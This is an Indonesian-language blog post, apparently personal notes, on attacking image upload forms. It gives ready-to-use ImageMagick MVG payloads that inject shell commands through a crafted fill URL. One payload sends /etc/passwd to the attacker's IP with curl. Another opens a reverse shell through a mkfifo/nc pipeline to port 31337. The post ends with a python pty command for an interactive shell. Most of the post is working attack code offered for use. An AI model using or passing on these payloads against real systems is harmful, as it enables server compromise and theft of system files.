Skip to main content

Posts

Showing posts from November, 2017

hack file upload pake jpg,png dan mvg

cek server save ke file jpg,png atau gif push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg"; cat /etc/passwd | curl -d @ http://(ip kamu):9700;touch "hello)' pop graphic-context  save ke file mvg ush graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg"; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc (ip kamu) 31337 >/tmp/f;touch "hello)' pop graphic-context siapkan nc sudah dalam posisi listening Agar lebih interaktif, shell bash perlu kamu spawn dengan perintah:   python -c 'import pty; pty.spawn("/bin/bash")' . terima kasih sekedar untuk menyimpan data